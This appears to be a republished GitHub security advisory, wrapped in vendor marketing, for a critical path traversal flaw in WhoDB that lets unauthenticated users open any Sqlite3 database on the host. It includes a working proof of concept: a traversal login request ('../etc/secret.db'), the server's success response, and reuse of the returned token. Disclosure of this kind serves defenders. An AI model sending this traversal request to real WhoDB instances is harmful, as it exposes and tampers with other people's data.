GHSA-9r4c-jwx3-3j76
CRITICALWhoDB has a path traversal opening Sqlite3 database
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/clidey/whodb/coreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
While the application only displays Sqlite3 databases present in the directory /db, there is no path traversal prevention in place. This allows an unauthenticated attacker to open any Sqlite3 database present on the host machine that the application is running on.
Details
WhoDB allows users to connect to Sqlite3 databases. By default, the databases must be present in /db/ (or alternatively ./tmp/ if development mode is enabled). Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L14-L20
If no databases are present in the default directory, the UI indicates that the user is unable to open any databases:
The database file is an user-controlled value. This value is used in .Join() with the default directory, in order to get the full path of the database file to open. Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L26
No checks are performed whether the database file that is eventually opened actually resides in the default directory /db.
This allows an attacker to use path traversal (../../) in order to open any Sqlite3 database present on the system.
PoC
Before running the container, an example Sqlite3 database with dummy "secret" data was created:
DB_FILE=$(mktemp)
echo "CREATE TABLE secret_table (data TEXT); INSERT INTO secret_table VALUES ('secret data')" | sqlite3 "$DB_FILE"
The container was then created with nothing mounted into /db, and the dummy database mounted into /etc/secret.db:
podman run -d -p 8080:8080 -v "$DB_FILE":/etc/secret.db docker.io/clidey/whodb
The attacker sends a HTTP request to determine whether the secret.db is accessible by setting the Database value to ../etc/secret.db:
POST /api/query HTTP/1.1
Host: localhost:8080
content-type: application/json
...
{"operationName":"Login","variables":{"credentials":{"Type":"Sqlite3","Hostname":"","Database":"../etc/secret.db","Username":"","Password":"","Advanced":[]}},"query":"mutation Login($credentials: LoginCredentials!) {\n Login(credentials: $credentials) {\n Status\n __typename\n }\n}"}
The server response indicates that the database was successfully opened:
HTTP/1.1 200 OK
Content-Type: application/json
Set-Cookie: Token=eyJUeXBlIjoiU3FsaXRlMyIsIkhvc3RuYW1lIjoiIiwiVXNlcm5hbWUiOiIiLCJQYXNzd29yZCI6IiIsIkRhdGFiYXNlIjoiLi4vZXRjL3NlY3JldC5kYiJ9; Path=/; Expires=Thu, 23 Jan 2025 10:35:43 GMT; HttpOnly
...
{"data":{"Login":{"Status":true,"__typename":"StatusResponse"}}}
The Set-Cookie Token value is simply a Base64-encoded string with a JSON payload containing the connection details:
{
"Type": "Sqlite3",
"Hostname": "",
"Username": "",
"Password": "",
"Database": "../etc/secret.db"
}
The attacker may set this cookie in the browser manually (alongside corresponding profiles in Local Storage) in order to open this database in the WhoDB application graphically. An easy way to perform this is by using a HTTP proxy such as Burp Suite, intercepting the login request and swapping the Database value to ../etc/secret.db.
Doing so, the attacker can then browse the database, its tables and the data within:
The attacker may also insert or modify data using either the buttons presented in the UI or the Scratchpad functionality. In this proof-of-concept, the attacker inserts a new row using the Add Row button:
Impact
Allows an unauthenticated attacker to open and read any Sqlite3 databases present on the system WhoDB is running on. If WhoDB has write permissions for the database file, the attacker is also able to modify the opened database.
The attacker is unable to create new databases; however, files which already exist but have no content (0-length files) may be opened and modified as fresh databases.
Recommendations
Before attempting to open the database, resolve and normalize the path to the database and check whether it is in the default directory. If not, present the user with an error.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/clidey/whodb/core | all versions | 0.0.0-20250127172032-547336ac73c8 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/clidey/whodb/core. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/clidey/whodb/core to 0.0.0-20250127172032-547336ac73c8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9r4c-jwx3-3j76 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9r4c-jwx3-3j76 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-9r4c-jwx3-3j76. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9r4c-jwx3-3j76 in your dependencies?
O3 detects GHSA-9r4c-jwx3-3j76 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.